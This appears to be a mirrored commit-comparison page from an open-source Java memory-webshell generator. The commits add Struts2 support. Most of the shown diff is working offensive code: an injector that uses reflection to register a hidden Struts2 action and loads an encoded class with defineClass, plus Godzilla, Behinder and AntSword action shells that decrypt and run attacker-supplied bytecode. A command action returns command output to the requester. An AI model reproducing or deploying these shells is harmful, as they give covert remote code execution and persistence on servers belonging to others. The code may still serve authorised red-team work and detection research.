mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
37832ee768 | ||
|
|
a59282b2a9 | ||
|
|
bf151faa1c | ||
|
|
11c439f6c6 | ||
|
|
a10386457c | ||
|
|
dd9333e473 | ||
|
|
d7a67b3056 |
@@ -48,6 +48,8 @@ jobs:
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
- middleware: "xxljob"
|
||||
depend_tasks: ""
|
||||
- middleware: "struct2"
|
||||
depend_tasks: ":vul:vul-struct2:war"
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
|
||||
@@ -42,8 +42,8 @@ jobs:
|
||||
depend_tasks: ":vul:vul-webapp:war"
|
||||
- middleware: "springwebmvc"
|
||||
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||
- middleware: "springwebflux"
|
||||
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||
- middleware: "struct2"
|
||||
depend_tasks: ":vul:vul-struct2:war"
|
||||
runs-on: ubuntu-latest
|
||||
name: ${{ matrix.cases.middleware }}
|
||||
steps:
|
||||
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -55,7 +55,7 @@ public class MemShellGenerateRequest {
|
||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||
.build();
|
||||
case Suo5 -> Suo5Config.builder()
|
||||
case Suo5, Suo5v2 -> Suo5Config.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
|
||||
+1
-1
@@ -9,7 +9,7 @@ idea {
|
||||
}
|
||||
}
|
||||
|
||||
version = "2.3.0"
|
||||
version = "2.4.0"
|
||||
|
||||
tasks.register("publishAllToMavenCentral") {
|
||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||
|
||||
@@ -20,4 +20,5 @@ public class Server {
|
||||
public static final String SpringWebMvc = "SpringWebMvc";
|
||||
public static final String SpringWebFlux = "SpringWebFlux";
|
||||
public static final String XXLJOB = "XXLJOB";
|
||||
public static final String Struct2 = "Struct2";
|
||||
}
|
||||
|
||||
@@ -8,6 +8,7 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
@@ -44,6 +45,7 @@ public class ServerFactory {
|
||||
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||
register(Server.XXLJOB, XxlJob::new);
|
||||
register(Server.Struct2, Struct2::new);
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
@@ -76,6 +78,7 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||
.addShellClass(ACTION, GodzillaStruct2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
@@ -100,6 +103,7 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||
.addShellClass(ACTION, BehinderStruct2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
@@ -117,6 +121,7 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||
.addShellClass(ACTION, AntSwordStruct2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
@@ -151,6 +156,7 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||
.addShellClass(ACTION, CommandStruct2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
@@ -176,6 +182,33 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||
.addShellClass(ACTION, Suo5Struct2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, Suo5v2Servlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
|
||||
.addShellClass(FILTER, Suo5v2Filter.class)
|
||||
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
|
||||
.addShellClass(LISTENER, Suo5v2Listener.class)
|
||||
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
|
||||
.addShellClass(VALVE, Suo5v2Valve.class)
|
||||
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
|
||||
.addShellClass(PROXY_VALVE, Suo5v2.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
||||
.addShellClass(ACTION, Suo5v2Struct2Action.class)
|
||||
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||
@@ -200,6 +233,7 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
||||
.build());
|
||||
}
|
||||
|
||||
|
||||
@@ -9,6 +9,7 @@ public class ShellTool {
|
||||
public static final String Behinder = "Behinder";
|
||||
public static final String Command = "Command";
|
||||
public static final String Suo5 = "Suo5";
|
||||
public static final String Suo5v2 = "Suo5v2";
|
||||
public static final String AntSword = "AntSword";
|
||||
public static final String NeoreGeorg = "NeoreGeorg";
|
||||
public static final String Custom = "Custom";
|
||||
|
||||
@@ -23,6 +23,7 @@ public class ShellToolFactory {
|
||||
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
|
||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||
|
||||
@@ -46,4 +46,6 @@ public class ShellType {
|
||||
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||
public static final String WEBSOCKET = "WebSocket";
|
||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||
|
||||
public static final String ACTION = "Action";
|
||||
}
|
||||
|
||||
+230
@@ -0,0 +1,230 @@
|
||||
package com.reajason.javaweb.memshell.injector.struct2;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.PrintStream;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/8
|
||||
*/
|
||||
public class Struct2ActionInjector {
|
||||
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public Struct2ActionInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
Object context = null;
|
||||
try {
|
||||
context = getContext();
|
||||
} catch (Throwable e) {
|
||||
msg += "context error: " + getErrorMessage(e);
|
||||
}
|
||||
if (context == null) {
|
||||
msg += "context not found";
|
||||
} else {
|
||||
try {
|
||||
Object shell = getShell(context);
|
||||
inject(context, shell);
|
||||
} catch (Throwable e) {
|
||||
msg += "failed " + getErrorMessage(e) + "\n";
|
||||
}
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
public Object getContext() throws Exception {
|
||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||
for (Thread thread : threads) {
|
||||
ClassLoader contextClassLoader = thread.getContextClassLoader();
|
||||
if (contextClassLoader != null) {
|
||||
try {
|
||||
Class<?> clazz = contextClassLoader.loadClass("com.opensymphony.xwork2.ActionContext");
|
||||
Object context = clazz.getMethod("getContext").invoke(null);
|
||||
if (context != null) {
|
||||
return context;
|
||||
}
|
||||
} catch (ClassNotFoundException e) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private void inject(Object context, Object shell) throws Exception {
|
||||
Object actionInvocation = invokeMethod(context, "getActionInvocation");
|
||||
Object actionProxy = getFieldValue(actionInvocation, "proxy");
|
||||
Object configuration = getFieldValue(actionProxy, "configuration");
|
||||
Object runtimeConfiguration = getFieldValue(configuration, "runtimeConfiguration");
|
||||
Map<String, Map<String, Object>> namespaceActionConfigs = (Map<String, Map<String, Object>>) getFieldValue(runtimeConfiguration, "namespaceActionConfigs");
|
||||
for (Map.Entry<String, Map<String, Object>> entry : namespaceActionConfigs.entrySet()) {
|
||||
String namespace = entry.getKey();
|
||||
Map<String, Object> configs = entry.getValue();
|
||||
if (!configs.isEmpty()) {
|
||||
Object firstActionConfig = configs.entrySet().iterator().next().getValue();
|
||||
String actionName = getUrlPattern().substring(1);
|
||||
if (configs.containsKey(actionName)) {
|
||||
continue;
|
||||
}
|
||||
String packageName = (String) getFieldValue(firstActionConfig, "packageName");
|
||||
Class<?> actionConfigClass = context.getClass().getClassLoader().loadClass("com.opensymphony.xwork2.config.entities.ActionConfig");
|
||||
Constructor<?> actionConfigConstructor = actionConfigClass.getDeclaredConstructor(String.class, String.class, String.class);
|
||||
actionConfigConstructor.setAccessible(true);
|
||||
Object actionConfig = actionConfigConstructor.newInstance(namespace, packageName, getClassName());
|
||||
configs.put(actionName, actionConfig);
|
||||
msg += "namespace: [" + (namespace.isEmpty() ? "default" : namespace) + "] [" + getUrlPattern() + "] ready\n";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
Object interceptor = null;
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
interceptor = clazz.newInstance();
|
||||
}
|
||||
return interceptor;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
return msg;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName) throws
|
||||
Exception {
|
||||
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||
Exception {
|
||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||
Method method = null;
|
||||
while (clazz != null && method == null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
method = clazz.getDeclaredMethod(methodName);
|
||||
} else {
|
||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
try {
|
||||
gzipInputStream.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
for (Class<?> clazz = obj.getClass();
|
||||
clazz != Object.class;
|
||||
clazz = clazz.getSuperclass()) {
|
||||
try {
|
||||
return clazz.getDeclaredField(name);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||
try {
|
||||
Field field = getField(obj, name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private String getErrorMessage(Throwable throwable) {
|
||||
PrintStream printStream = null;
|
||||
try {
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
printStream = new PrintStream(outputStream);
|
||||
throwable.printStackTrace(printStream);
|
||||
return outputStream.toString();
|
||||
} finally {
|
||||
if (printStream != null) {
|
||||
printStream.close();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
package com.reajason.javaweb.memshell.server;
|
||||
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.injector.struct2.Struct2ActionInjector;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/8
|
||||
*/
|
||||
public class Struct2 extends AbstractServer {
|
||||
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(ShellType.ACTION, Struct2ActionInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
+53
@@ -0,0 +1,53 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.antsword;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/02/18
|
||||
*/
|
||||
public class AntSwordStruct2Action {
|
||||
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public void execute() throws Exception {
|
||||
try {
|
||||
Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
|
||||
Object context = clazz.getMethod("getContext").invoke(null);
|
||||
Method getMethod = clazz.getMethod("get", String.class);
|
||||
HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
|
||||
HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
byte[] bytes = base64Decode(request.getParameter(pass));
|
||||
Object instance = reflectionDefineClass(bytes).newInstance();
|
||||
instance.equals(new Object[]{request, response});
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
try {
|
||||
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
defMethod.setAccessible(true);
|
||||
return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
|
||||
}
|
||||
}
|
||||
+89
@@ -0,0 +1,89 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.behinder;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class BehinderStruct2Action {
|
||||
public static String pass;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public void execute() throws Exception {
|
||||
try {
|
||||
Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
|
||||
Object context = clazz.getMethod("getContext").invoke(null);
|
||||
Method getMethod = clazz.getMethod("get", String.class);
|
||||
HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
|
||||
HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||
obj.put("request", request);
|
||||
obj.put("response", unwrap(response));
|
||||
obj.put("session", session);
|
||||
session.setAttribute("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||
Object instance = reflectionDefineClass(bytes).newInstance();
|
||||
instance.equals(obj);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Object unwrap(Object obj) {
|
||||
try {
|
||||
return getFieldValue(obj, "response");
|
||||
} catch (Throwable e) {
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(name);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) throws Exception {
|
||||
try {
|
||||
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
defMethod.setAccessible(true);
|
||||
return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
|
||||
}
|
||||
}
|
||||
+45
@@ -0,0 +1,45 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.command;
|
||||
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.Scanner;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/12/8
|
||||
*/
|
||||
public class CommandStruct2Action {
|
||||
private static String paramName;
|
||||
|
||||
public String execute() throws Exception {
|
||||
try {
|
||||
Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
|
||||
Object context = clazz.getMethod("getContext").invoke(null);
|
||||
Method getMethod = clazz.getMethod("get", String.class);
|
||||
HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
|
||||
HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
|
||||
String p = request.getParameter(paramName);
|
||||
if (p == null || p.isEmpty()) {
|
||||
p = request.getHeader(paramName);
|
||||
}
|
||||
if (p != null) {
|
||||
String param = getParam(p);
|
||||
InputStream inputStream = getInputStream(param);
|
||||
response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||
response.getWriter().flush();
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private String getParam(String param) {
|
||||
return param;
|
||||
}
|
||||
|
||||
private InputStream getInputStream(String param) throws Exception {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
+110
@@ -0,0 +1,110 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/15
|
||||
*/
|
||||
public class GodzillaStruct2Action {
|
||||
private static String key;
|
||||
private static String pass;
|
||||
private static String md5;
|
||||
private static String headerName;
|
||||
private static String headerValue;
|
||||
private static Class<?> payload;
|
||||
|
||||
public void execute() throws Exception {
|
||||
try {
|
||||
Class<?> clazz = Class.forName("com.opensymphony.xwork2.ActionContext");
|
||||
Object context = clazz.getMethod("getContext").invoke(null);
|
||||
Method getMethod = clazz.getMethod("get", String.class);
|
||||
HttpServletRequest request = (HttpServletRequest) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
|
||||
HttpServletResponse response = (HttpServletResponse) getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
PrintWriter writer = response.getWriter();
|
||||
try {
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (payload == null) {
|
||||
payload = reflectionDefineClass(data);
|
||||
} else {
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = payload.newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
f.equals(data);
|
||||
f.toString();
|
||||
writer.write(md5.substring(0, 16));
|
||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
writer.write(md5.substring(16));
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
writer.write(getErrorMessage(e));
|
||||
}
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) throws Exception {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
}
|
||||
|
||||
public Class<?> reflectionDefineClass(byte[] classBytes) throws Exception {
|
||||
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
defMethod.setAccessible(true);
|
||||
return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
try {
|
||||
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
|
||||
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
|
||||
